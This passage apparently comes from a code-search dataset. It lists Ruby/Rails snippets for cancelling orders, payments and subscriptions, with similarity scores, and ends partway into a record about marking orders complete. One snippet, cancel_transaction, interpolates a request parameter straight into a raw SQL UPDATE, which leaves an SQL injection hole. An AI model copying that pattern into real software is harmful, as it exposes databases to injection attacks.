"def cancel!\n if hpp_payment? || adyen_cc_payment?\n if source.respond_to?(:requires_manual_refund?) && source.requires_manual_refund?\n log_manual_refund\n else\n process { payment_method.cancel response_code }\n end\n else\n super\n end\n end",
"def cancel_order current_user, order\n @user = current_user\n @order = order\n\n mail to: @user.email, subject: \"Cancel Order\"\n end",
"def yunbi_cancel_order (id:0, base:nil)\n if 0 == id\n return nil\n end\n\n begin\n client = new_yunbi_client\n response = client.post '/api/v2/order/delete', {\"id\":id}\n $LOG.debug (method(__method__).name) { {\"return\"=>response} }\n return response\n rescue Exception => e\n puts e\n $LOG.debug (method(__method__).name) { {\"error\"=>e} }\n return nil\n end\nend",
"def cancel_orders\n @orders = search_reasult(params).where(\"fulflmnt_state = 'cancel'\").order('order_date desc')\n @orders = Kaminari.paginate_array(@orders).page(params[:page]).per(params[:per_page] || Spree::Config[:orders_per_page])\n end",
"def cancel!\n if charged && !canceled\n refund!\n recharge!\n end\n end",
"def cancel_order(pair: \"\", order_id: \"\")\n authenticated_delete(\"/orders/#{pair}/#{order_id}\")\n end",
"def stop_order(id)\n # response = post(\n # \"peatio/market/orders/#{id}/cancel\"\n # )\n #\n\n order = @current_user.orders.find id\n Ordering.new(order).cancel\n @open_orders.remove_order(id)\n\n # response\n end",
"def cancel\n if admin_user?\n cancel_reason_id = 2 # Product Not Available\n else\n cancel_reason_id = 1 # Customer\n end\n respond_to do |format|\n if @order.update_attributes(order_status_id: 4, cancel_reason_id: cancel_reason_id)\n @order.order_products.each do |order_product|\n product = order_product.product\n quantity = order_product.quantity\n new_quantity_in_stock = (product.quantity_in_stock + quantity)\n product.update_attributes(quantity_in_stock: new_quantity_in_stock)\n end\n if session[:showing_user]\n format.html { redirect_to @order.user, notice: t('orders.cancel') } # \"Order was successfully canceled.\"\n format.json { head :no_content }\n else\n format.html { redirect_to orders_path, notice: t('orders.cancel') } # \"Order was successfully canceled.\"\n format.json { head :no_content }\n end\n else\n if session[:showing_user]\n format.html { redirect_to @order.user, notice: t('orders.cancel_error') } # \"Error canceling order.\"\n format.json { render json: @order.errors, status: :unprocessable_entity }\n else\n format.html { redirect_to orders_path, notice: t('orders.cancel_error') } # \"Error canceling order.\"\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def yunbi_cancel_orders (ids:[], base:nil)\n #client = new_yunbi_client\n ids.each { |id| yunbi_cancel_order id:id }\nend",
"def cancel_transfer_for_order(params)\n run_command :cancel_transfer, :transfer, params\n end",
"def cancel\n begin\n payment = Payment.find_by_token!(params[:token])\n payment.cancel!\n flash[:notice] = \"Sie haben die Bezahlung per Paypal abgebrochen.\"\n\n redirect_to edit_order_url(payment.order)\n rescue Exception => e\n redirect_to store_url, flash: { error: e.message }\n end\n end",
"def cancel!\n self.update_attributes(status: CANCELLED)\n #self.line_items.update_attributes(status: LineItem::CANCELLED)\n end",
"def cancel(order_id, &blk)\n params = { orderId: order_id, auth: true }\n if block_given?\n websocket.subscribe :cancel, params: params, &blk\n else\n http.post :cancel, params\n end\n end",
"def destroy\n @order = @order_scope.find(params[:id])\n \n respond_to do |format|\n if @order.cancelled! && @order.save\n path = current_customer ? @order : order_path(@order, type: order_type)\n format.html { redirect_to path, notice: t('view.orders.correctly_cancelled') }\n format.json { head :ok }\n else\n format.html { render action: 'show' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def mark_as_cancelled\n update({\n stripe_status: 'canceled',\n ends_at: Time.current,\n })\n end",
"def cancel\n \n unless status == :cancelled\n transaction do \n if total_paid > 0\n update(:status => :cancelled, :payment_status => :refunded, :total_paid => 0, :total_pending => total_cost)\n else \n update(:status => :cancelled)\n end\n # Create newsfeed\n ::Yito::Model::Newsfeed::Newsfeed.create(category: 'booking',\n action: 'cancel_booking',\n identifier: self.id.to_s,\n description: BookingDataSystem.r18n.t.canceled_booking)\n charges.each do |charge|\n charge.refund\n end\n end\n end\n\n self\n end",
"def order_cancel(symbol, opts = {})\n data, _status_code, _headers = order_cancel_with_http_info(symbol, opts)\n data\n end",
"def cancel_order(order_id, opts = {})\n data, _status_code, _headers = cancel_order_with_http_info(order_id, opts)\n data\n end",
"def cancel\n\t\tself.status = 'Canceled'\n\t\tself.save(validate: false)\n\tend",
"def cancel\n @order.cancel_by_location\n render 'status'\n end",
"def cancel_pending_orders(to_date)\n run_command :cancel_pending_orders, :order, {\n :to_date => to_date,\n :key => 'attributes'\n }\n end",
"def cancel_order(id, opts = {})\n data, _status_code, _headers = cancel_order_with_http_info(id, opts)\n data\n end",
"def destroy\n if order.new?\n # this won't trigger the before_destroy validation, don't forget\n order.order_items.delete_all\n order.order_payments.delete_all\n order.delete\n else\n OrderCanceller.new(order).all!\n # we refresh the cart manager (this should remove the entry)\n cart_manager.refresh!\n end\n flash[:success] = I18n.t('edit_order.delete_ok')\n redirect_to customer_orders_path\n end",
"def cancel_order\n @order = Dondathang.find(params[:madondathang])\n @order.update_column(:tinhtrang, 0)\n redirect_to dondathangs_path\n end",
"def cancel(original_reference:, reference:, merchantAccount: @merchant_account)\n postJSON(\"/Payment/v12/cancel\",\n reference: reference,\n merchantAccount: merchant_account,\n originalReference: original_reference\n )\n end",
"def cancelorder(uuid)\n res = sget(\"/cancel\", {uuid: uuid})\n ::BittrexRb::Response::Market.new(res)\n end",
"def cancel\n\t\tif params[:id] != 'new'\n\t\t\tlyric_line = LyricLine.find params[:id]\n\t\t\tdump_line lyric_line\n\t\telse\n\t\t\t@order_number = params[:order_number]\n\t\tend\n\tend",
"def cancel_order_with_http_info(order_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrderApi.cancel_order ...'\n end\n # verify the required parameter 'order_id' is set\n if @api_client.config.client_side_validation && order_id.nil?\n fail ArgumentError, \"Missing the required parameter 'order_id' when calling OrderApi.cancel_order\"\n end\n # resource path\n local_var_path = '/order/orders/{order_id}/cancel'.sub('{' + 'order_id' + '}', order_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'lock_self_ship_orders'] = opts[:'lock_self_ship_orders'] if !opts[:'lock_self_ship_orders'].nil?\n query_params[:'skip_refund_and_hold'] = opts[:'skip_refund_and_hold'] if !opts[:'skip_refund_and_hold'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BaseResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#cancel_order\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def orderCanceled\n order = Order.last\n user = User.find(Contract.find(order.contract_id).buyer_id)\n MagicMailer.orderCanceled(order, user)\n end",
"def refund_order\n\t\t@order = Order.find(params[:order_id])\n\n\t\tif @order.refunded\n\t\t\trender :json => { :error => \"Order has already been refunded\" }\n\t\telse \n\t\t\tcharge = Stripe::Charge.retrieve(order.charge_id)\n\t\t\trefund = charge.refunds.create\n\t\t\trender :json => { :refunded => true, :refund_id => refund.id, :message => \"Order refunded successfully\" }\n\t\tend\n\n\tend",
"def cancel\n self.update_status :cancelled\n end",
"def destroy\n @order = Order.find(params[:id])\n if !@order.nil? && @order.paid\n redirect_to root_path, alert: 'Sorry this order has already been paid and cannot be modified or canceled'\n end\n @user = User.find(@order.user_id)\n meal = Meal.find(@order.meal_id)\n @cook = Cook.find(meal.cook_id)\n if @order.destroy\n respond_to do |format|\n if admin_signed_in?\n format.html { redirect_to admin_orders_path, notice: 'Order was successfully Canceled.' }\n format.json { head :no_content }\n else\n format.html { redirect_to orders_url, notice: 'Order was successfully Canceled.' }\n format.json { head :no_content }\n end\n end\n else\n redirect_to root_path, alert: 'Failed to CANCEL Order, please contact the administrator'\n end\n end",
"def cancel_single_package_sales_order\n @sales_order = SalesOrder.find_by_id params[:sales_order_id]\n \n @sales_order.cancel_single_package_sales_order( current_user ) \n \n if @sales_order.is_canceled == true \n redirect_to search_client_for_single_package_sales_order_url \n return\n else\n redirect_to finalize_sales_order_single_package_url(@sales_order)\n end\n end",
"def cancel_payment(payment_id, amount=nil)\n request = Braspag::Request::UpdateSaleRequest.new(\"void\", merchant, environment)\n\n request.amount = amount\n\n request.execute(payment_id)\n end",
"def cancel_agreement(futurepay_id)\n run_command({:futurePayId => futurepay_id, \"op-cancelFP\" => \"\" })\n end",
"def cancel_transaction\n @dps_pxpay_id = params[:id]\n zencartdps_pxpay_record = ActiveRecord::Base.connection.update(\n \"UPDATE zencartdps_pxpay SET success = 0, response_text = '' WHERE dps_pxpay_id = #{@dps_pxpay_id}\"\n )\n if zencartdps_pxpay_record > 0\n flash[:notice] = 'The transaction was cancelled'\n else\n flash[:error] = 'An error happened. The transaction was not cancelled'\n end\n\n redirect_to :action => :new_order, :id => @dps_pxpay_id\n end",
"def cancel\n self.status = 'Cancelled'\n self.save!\n end",
"def cancel\n @error = :cancelled\n end",
"def cancel(*args)\n commit('cancel', *args)\n end",
"def process_cancellation!\n if payment.settled?\n # If we have the money, refund it.\n if payment.refund!\n return_stock\n IslayShop::OrderMailer.cancelled(self).deliver\n next!(\"Credited #{formatted_total}\")\n else\n fail!(\"Could not refund payment due to a problem with the payment provider\")\n end\n else\n # If the payment provider supports voiding, void\n if payment.can_void?\n if payment.void!\n return_stock\n IslayShop::OrderMailer.cancelled(self).deliver\n next!(\"Payment has been voided\")\n else\n fail!(\"Could not void payment due to a problem with the payment provider\")\n end\n else\n # Let the authorization expire:\n return_stock\n IslayShop::OrderMailer.cancelled(self).deliver\n next!(\"Payment can't be voided: the authorization will expire, usually within 7 days.\")\n end\n end\n end",
"def cancel \n unless self.status == 'canceled'\n ev = Event.create(\n :event_type => :subscription,\n :event_subtype => :cancel,\n :user => self.user,\n :detail_i1 => self.id\n ) \n \n Rails::logger.debug \"Calling chargify to cancel subscription ID #{self.chargify_id}\" \n Sherlock::Chargify.new.cancel(self.chargify_id) \n \n Rails::logger.debug \"Adjusting my own status to 'canceled'\" \n \n self.status = 'canceled'\n self.save\n \n ev.finish\n \n InfusionsoftUtils.update_contact(self)\n end\n \n end",
"def cancel!\n state_guard { modify_call 'Status' => 'cancelled' }\n end",
"def cancel_payment\n\n\t\t\t\t\t# Delete payment id\n\t\t\t\t\tself.payment_id = nil\n\t\t\t\t\t\n\t\t\t\t\t# Save\n\t\t\t\t\tself.override_accept_terms\n\t\t\t\t\tif !self.save\n\t\t\t\t\t\treturn false\n\t\t\t\t\tend\n\n\t\t\t\t\treturn true\n\t\t\t\tend",
"def refund_order\n Stripe.api_key = ENV['STRIPE_SECRET_KEY']\n order = Commit.find(params[:order_id])\n charge = Stripe::Charge.retrieve(order.sale.stripe_charge_id, :stripe_account => order.product.wholesaler.stripe_id)\n begin\n refund = charge.refunds.create(:amount => charge.amount, :refund_application_fee => true)\n rescue => e\n return render :json => {\n success: false,\n error: e.message\n }\n end\n if !refund.nil?\n order.refunded = true\n order.sale_made = false\n product_sales = order.product.current_sales.to_f\n new_sales = order.full_price ? product_sales+order.amount.to_f*order.product.price.to_f : product_sales+order.amount.to_f*order.product.discount.to_f\n order.product.current_sales = new_sales\n order.save(validate: false)\n return render :json => {\n success: true,\n order: order,\n charge: charge,\n refund: refund\n }\n end\n end",
"def cancel!\n if AccountTransaction.transfer(self.num * self.price, self.startup.account, self.startup.account, :escrow, :balance).new_record?\n self.errors.add(:num, 'could not be refunded to your startup\\'s balance') \n return false\n end\n if self.responses.count > 0\n self.num = 0\n self.save\n else\n self.destroy\n end\n end",
"def cancel(_response_code)\n active_merchant_response(true, 'PayUIn will automatically capture the amount after creating a shipment.')\n end",
"def after_cancel\n restock_items!\n\n #TODO: make_shipments_pending\n Spree::OrderMailer.cancel_email(self).deliver\n Spree::OrderMailer.cancel_email_retailer(self).deliver\n unless %w(partial shipped delivered).include?(shipment_state)\n self.payment_state = 'credit_owed'\n end\n end",
"def cancel_order_reference(\n amazon_order_reference_id,\n cancelation_reason: nil,\n merchant_id: @merchant_id,\n mws_auth_token: nil\n )\n\n parameters = {\n 'Action' => 'CancelOrderReference',\n 'SellerId' => merchant_id,\n 'AmazonOrderReferenceId' => amazon_order_reference_id\n }\n\n optional = {\n 'CancelationReason' => cancelation_reason,\n 'MWSAuthToken' => mws_auth_token\n }\n\n operation(parameters, optional)\n end",
"def cancel(transaction_id)\n response = provider.void(transaction_id, nil)\n provider.refund(nil, nil, transaction_id, {refund_all: true}) unless response.success?\n end",
"def cancel_rebilling_cycle(rebill_id)\n @PARAM_HASH[\"TRANS_TYPE\"] = \"SET\"\n @PARAM_HASH[\"STATUS\"] = \"stopped\"\n @PARAM_HASH[\"REBILL_ID\"] = rebill_id\n end",
"def cancel_now_and_invoice\n as_stripe_subscription.cancel({\n invoice_now: true,\n prorate: proration_behavior == 'create_prorations',\n })\n\n mark_as_cancelled\n\n self\n end",
"def cancel_saferpay_payment\n return unless transaction_id = saferpay_payment.transaction_id\n\n gateway.void(transaction_id)\n end",
"def cancel(params)\n request(Resources::RESOURCE_CANCEL, HTTP_METHOD_POST, params)\n end",
"def destroy\n if @order.cancelable?\n @order.deleted!\n # head :no_content\n flash[:notice] = \"订单删除成功!\"\n redirect_to order_path(@order)\n else\n # render json: {error: \"订单创建已经超过30分钟，不能删除\"}, status: :unprocessable_entity\n flash[:error] = \"这个订单不能删除!\"\n redirect_to order_path(@order)\n end\n end",
"def cancel_order_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrdersApi.cancel_order ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling OrdersApi.cancel_order\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/orders/{id}/cancel'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'OrderResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"OrdersApi.cancel_order\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrdersApi#cancel_order\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def order_cancel_with_http_info(symbol, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrderApi.order_cancel ...'\n end\n # verify the required parameter 'symbol' is set\n if @api_client.config.client_side_validation && symbol.nil?\n fail ArgumentError, \"Missing the required parameter 'symbol' when calling OrderApi.order_cancel\"\n end\n # resource path\n local_var_path = '/v2/private/order/cancel'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n form_params['symbol'] = symbol\n form_params['order_id'] = opts[:'order_id'] if !opts[:'order_id'].nil?\n form_params['order_link_id'] = opts[:'order_link_id'] if !opts[:'order_link_id'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = ['apiKey', 'apiSignature', 'timestamp']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Object')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#order_cancel\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def cancel\n self.solved(:abort)\n end",
"def cancel!\r\n return if [:cancel].include? m.status\r\n raise \"Invalid state: message must be new, retry, or fail to cancel!\" unless [:new, :retry, :fail].include? m.status\r\n self.status = :cancel\r\n self.save!\r\n end",
"def get_orders_to_cancel(trade_context)\n raise NotImplementedError, \"unimplemented method get_orders_to_cancel\"\n end",
"def cancel\n investment = Investment.new(session[:investment_attributes])\n investment.skip_validation = true\n investment.status = 1\n if investment.save\n redirect_to investments_path, notice: \"Your Investments successfuly saved!\"\n else\n redirect_to start_wizard_investment_path, alert: \"Something went wrong, your investments hasn't been saved\"\n end\n end",
"def cancel_reason\n @subscription_purchase.cancel_reason\n end",
"def order_cancel_all(symbol, opts = {})\n data, _status_code, _headers = order_cancel_all_with_http_info(symbol, opts)\n data\n end",
"def cancel_order\n system 'clear'\n CoffeeMan.stay_logo\n @@cart.clear\n puts \"Your cart has been emptied\"\n sleep(0.09)\n main_menu\n sleep(2)\n end",
"def cancel_or_refund(original_reference:, reference:, merchantAccount: @merchant_account)\n postJSON(\"/Payment/v12/cancelOrRefund\",\n reference: reference,\n merchantAccount: merchant_account,\n originalReference: original_reference\n )\n end",
"def cancel\n @service.context.post(@control_path, :action => 'cancel')\n self\n end",
"def cancelar\n respond_to do |format|\n if @ticket.update(status:3)\n \n @ticket.payment.update(estatus:0) unless @ticket.payment.pagado \n @ticket.payment.update(estatus:1) if !@ticket.payment.pagado and @ticket.payment.interes > 0\n \n format.html { redirect_to \"/tickets?clave=#{@ticket.payment.id}\", notice: 'Ticket was successfully updated.' }\n format.json { render :show, status: :ok, location: @ticket }\n else\n format.html { render :edit }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @deliveryOrder = DeliveryOrder.find_by_id(params[:id])\n if !DeliveryOrder.inspect_have_data(params[:id])\n if @deliveryOrder.cancel\n stateOrderDetail = StatePerOrderDetail.new\n stateOrderDetail.state = @deliveryOrder.human_state_name\n stateOrderDetail.delivery_order_id = params[:id]\n stateOrderDetail.user_id = current_user.id\n stateOrderDetail.save\n end\n else\n flash[:error] = \"La Orden de Servicio N° \" + @deliveryOrder.id.to_s.rjust(5, '0') + \" no puede ser eliminada. Los datos de esta orden están siendo utilizados.\"\n end\n #redirect_to :action => :index, company_id: params[:company_id]\n render :json => @deliveryOrder\n end",
"def cancel\n\t\tputs \"Cancelling #{self.student.forename} #{self.student.surname}'s enrollment in #{self.course.title}\"\n\n\t\tself.is_cancelled = true\n\t\tself.save\n\n\t\tmessage = \"Your cancellation was successful. You have not received a refund.\"\n\n\t\tif refund_amount > 0\n\t\t\tmessage = \"Your cancellation was successful. You will receive your refund within 48 hours.\"\n\t\tend\n\n\t\tPaymentMailer.refund_processing(self).deliver\n\n\t\treturn message\n\tend",
"def cancel_all_financial_transactions_payin\n self.financial_transactions.payin.finished.each do |ft|\n LOG.debug message: \"found payin financial_transaction_id: #{ft.id} to refund (purpose: #{ft.purpose}\", booking_id: self.id\n create_financial_transaction_refund_payin ft\n end\n end",
"def uncancel \n @project.update_attribute(:canceled, false)\n redirect_to project_path(@project)\n end",
"def cancel\n sanitized = whitelist(params, :complete)\n travel = Travels::Travel.find(sanitized[:id])\n\n unless travel.submitted? && travel.customer == current_user.becomes(Users::Customer)\n fail(:any, :bad_request, \"Sorry! You're not eligible to cancel travels other than just submitted!\")\n return\n end\n\n respond_to do |format|\n if travel.cancel\n format.html { redirect_to status_travel_path(travel) }\n format.json { render json: travel.as_json, status: :ok }\n else\n format.html { redirect_to status_travel_path(travel), alert: \"Failed to complete! Errors: #{travel.errors.full_messages}\" }\n format.json { render json: travel.as_json, status: :unprocessable_entity }\n end\n end\n end",
"def cancel(response_code)\n transaction = protected_request do\n braintree.transaction.find(response_code)\n end\n if VOIDABLE_STATUSES.include?(transaction.status)\n void(response_code, nil, {})\n else\n credit(cents(transaction.amount), nil, response_code, {})\n end\n end",
"def cancel_refund\n price - price * cancel_factor\n end",
"def cancel!\n update(request_cancelled: true)\n end",
"def cancel_old_solidus_payments\n solidus_payments_to_cancel.each(&:cancel!)\n end",
"def destroy\n @order = Order.find(params[:id])\n \n begin\n @order.destroy\n message = \"Order was successfully deleted.\"\n rescue ActiveRecord::DeleteRestrictionError => e\n #@order.errors.add(:base, e)\n message = \"Order is still in use. Unable to delete order. \"\n end\n\n respond_to do |format|\n format.html { redirect_to orders_url, notice: message }\n format.json { head :no_content }\n end\n end",
"def cancel()\n require_relative 'message'\n Message.new(@api, @api.do_request(\"POST\", get_base_api_path() + \"/cancel\"))\n end",
"def cancel()\n require_relative 'message'\n Message.new(@api, @api.do_request(\"POST\", get_base_api_path() + \"/cancel\"))\n end"
] |
[
"0.78458303",
"0.7582877",
"0.7540186",
"0.7512472",
"0.74816763",
"0.7473918",
"0.7405878",
"0.73773605",
"0.7364883",
"0.7351844",
"0.7143407",
"0.7129811",
"0.7033592",
"0.7025931",
"0.6987079",
"0.69176793",
"0.6871031",
"0.681693",
"0.67890334",
"0.67761767",
"0.6776096",
"0.6743748",
"0.6743748",
"0.6733664",
"0.6682922",
"0.66579515",
"0.66280264",
"0.6600167",
"0.6592209",
"0.6580113",
"0.65723866",
"0.6552791",
"0.6549405",
"0.6513432",
"0.6490038",
"0.64833033",
"0.64745045",
"0.64583266",
"0.64475685",
"0.6440262",
"0.64158005",
"0.6380338",
"0.6377127",
"0.63699347",
"0.63562983",
"0.633274",
"0.6331646",
"0.6328531",
"0.63217926",
"0.62952423",
"0.62704015",
"0.6258726",
"0.6236931",
"0.6232",
"0.6224",
"0.62194026",
"0.61644083",
"0.61570835",
"0.6154669",
"0.6136783",
"0.61269915",
"0.61232847",
"0.60943514",
"0.608514",
"0.60696125",
"0.6062273",
"0.6055336",
"0.6007549",
"0.60019946",
"0.5990151",
"0.59694225",
"0.5965202",
"0.59596664",
"0.59595096",
"0.5957063",
"0.59494144",
"0.59390545",
"0.5933199",
"0.59239215",
"0.59120667",
"0.5905584",
"0.59047824",
"0.58985466",
"0.58943987",
"0.5888899",
"0.58858806",
"0.5884351",
"0.58797574",
"0.5879534",
"0.5877936",
"0.58647853",
"0.5856732",
"0.58538187",
"0.58408535",
"0.5827817",
"0.581176",
"0.58080965",
"0.5798941",
"0.57864225",
"0.57864225"
] |
0.764531
|
1
|
Mark editing complete for an existing order Optionally set order status if supplied
|
def editing_complete status=nil
self.edit_mode = false
self.status = status.to_s if status
self.save
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def mark_as_complete(options)\n self.is_complete = options[:is_complete]\n self.is_applicable = true # if item.is_complete\n self.save_with_validation(false)\n end",
"def mark_order_complete\n order_params = (driver_order_params)\n order_params[:payable_attributes][:driver_id] = current_user.customer_id\n if @order.single?\n if( (Time.now >= Time.parse(@order.place_date + ' ' + @order.timeslot.start) || true) && (@order.pending? ) && @order.update(order_params) )\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity\n end\n else\n if(@order.update(order_params))\n render json: @order, status: 200\n else\n render json: {'errorrs': ['Order can not be completed']}, status: :unprocessable_entity\n end\n end\n end",
"def complete\n @order = Order.find(params[:id])\n @order.update_attributes(:fulfilled => Time.now)\n\n respond_to do |format|\n if @order.update_attributes(:fulfilled => Time.now)\n format.html { redirect_to @order, notice: 'Order was successfully completed.' }\n format.json { render json: @order, status: :updated }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def set_as_complete\n mark_as_complete_and_save\n end",
"def mark_complete\n self.complete = true\n self.save\n end",
"def complete_order_service\n\n order_service = OrderService.find(params[:order_service_id])\n order_service.completed = true\n order_service.save\n\n completed = true\n order_service.order.order_services.each do |order_service|\n if !order_service.completed\n completed = false\n end\n end\n if completed\n order_service.order.status = true\n order_service.order.save\n end\n \n redirect_to order_path(order_service.order.id)\n end",
"def mark_as_complete_and_save\n self.complete = true\n save\n end",
"def update_order_state\n if self.status_changed?\n self.order.update_attributes(:state => self.status)\n end\n end",
"def update_complete\n # checks to see if the Item's :complete attribute is true\n if self.complete\n # if complete is arleady true, then update it to false\n self.update_attribute(:complete, false)\n else\n # if complete is already false(which is usually the case since the attribute has\n # a default value of false making it incomplete) update the complete attribute to\n # true. This will allow the user to toggle between complete and incomplete items in\n # their respective lists. \n self.update_attribute(:complete, true)\n end\n end",
"def update\n build do\n if params[:order][:status] == 1\n @order.update!(order_params)\n #@task = @order.create_task if @order.ask_confirmed?\n message 'Редактирование заказа'\n view 'member/orders/show'\n end\n end\n end",
"def order_complete\n load_order\n if @order.state == 'canceled' \n flash[\"notice\"] = 'This order has been canceled - do not process it!'\n elsif @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n \t@order.update_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end",
"def order_complete\n load_order\n if @order.state == 'canceled'\n flash[\"notice\"] = 'This order has been canceled - do not process it!'\n elsif @order.packed_at.blank? && (@current_retailer && @current_retailer.id == @order.retailer_id)\n @order.update_attribute(:packed_at, Time.now)\n end\n redirect_to admin_order_url(@order)\n end",
"def complete!\n self.status = 'completed'\n self.save\n end",
"def update\n @order = Order.find(params[:id])\n @order.status = params[:order][:status]\n @order.update(order_params)\n if @order.status = \"入金確認\"\n @order.order_details.each do |order_detail|\n order_detail.update(making_status: 1)\n end\n end\n redirect_back(fallback_location: admin_orders_path)\n end",
"def orders_details_auto_status_changer(order)\n if order.read_attribute_before_type_cast(:status) == 1\n order.orders_details.each do |order_detail|\n order_detail.update(making_status: 1)\n end\n end\n end",
"def markDone\n if @complete == \"Item incomplete\"\n @complete = \"Item complete\"\n else\n @complete = \"Item complete\"\n end\n end",
"def mark_as_completed!\n mark_state_complete!\n end",
"def update_order_status\n order.delivery_status = status\n order.save\n end",
"def update\n @order_line_item = OrderLineItem.find(params[:id])\n\n if @order_line_item.update(order_line_item_params)\n # set to manually completd\n @order_line_item.status = \"Manually Completed\"\n @order_line_item.save\n render json: @order_line_item\n else\n render json: @order_line_item.errors, status: :unprocessable_entity\n end\n end",
"def complete\n if @todo_item.update_attribute(:completed, 1)\n flash[:success] = \"todo item marked as completed\"\n redirect_to todo_path(@todo)\n else\n flash[:error] = \"failed to mark item as completed\"\n render 'todos/show'\n end\n end",
"def complete!\n self.is_completed = true\n self.save\n end",
"def order_completed_not_changed\n\t\tself.errors.add(:order_completed, \"you cannot change the order status to completed, this is automatically derived\") if self.changed_attributes.include? \"order_completed\"\n\tend",
"def set_to_ordered\n self.status = \"ordered\"\n self.save\n end",
"def update\n status = params[:order][:status]\n order = Order.find(params[:id])\n if order.status != status\n attribute = (status + ' at').gsub(/\\s+/, '_').to_sym\n params[:order][attribute] = Time.now if order.respond_to?(attribute)\n end\n super do |format|\n redirect_to orders_path and return if resource.valid?\n end\n end",
"def complete_order\n # Get the current user's last order (i.e. the current order)\n @order = @current_user.orders.last\n\n # Invoke an action in order.rb that 'moves' items from a user's cart to the current order\n @order.add_line_items_from_cart @cart\n\n # Invoke action in order.rb that updates stock levels\n @order.update_inventory\n\n # Destroy the user's cart\n @cart.destroy\n\n # Set a flash notification that the order was successful\n flash[:notification] = \"Order successful!!!\"\n\n # Redirect to orders#show\n redirect_to order_path(@order)\n end",
"def mark_complete\n ActiveRecord::Base.transaction do\n find_order\n separate_shipment_costs\n assert_refund_adjustments params['refund_items'], true\n @order.update!\n end\n settle_payments_if_desired\n render text: @settlement_results.to_json\n end",
"def update_order_status(order, status)\n id = order.is_a?(String) ? order : order.id\n path = \"/checkout/orders/#{id}\"\n\n response = execute_request(path, {status: status})\n order.status = status unless order.is_a?(String)\n\n response\n end",
"def update\n @order = Order.find(params[:id].to_s)\n render :status => 401 and return if not_my_vendor?(@order)\n if @order.paid == 1 and not $User.is_technician? then\n GlobalErrors.append(\"system.errors.cannot_edit_completed_order\",@order)\n end\n respond_to do |format|\n if (not @order.paid == 1 or $User.is_technician?) and @order.update_attributes(params[:order])\n format.html { redirect_to(@order, :notice => 'Order was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_order_status\n @order_status = OrderStatus.find(params[:id])\n end",
"def complete!\n # this should change the boolean to true\n self.complete = true\n self.save!\n end",
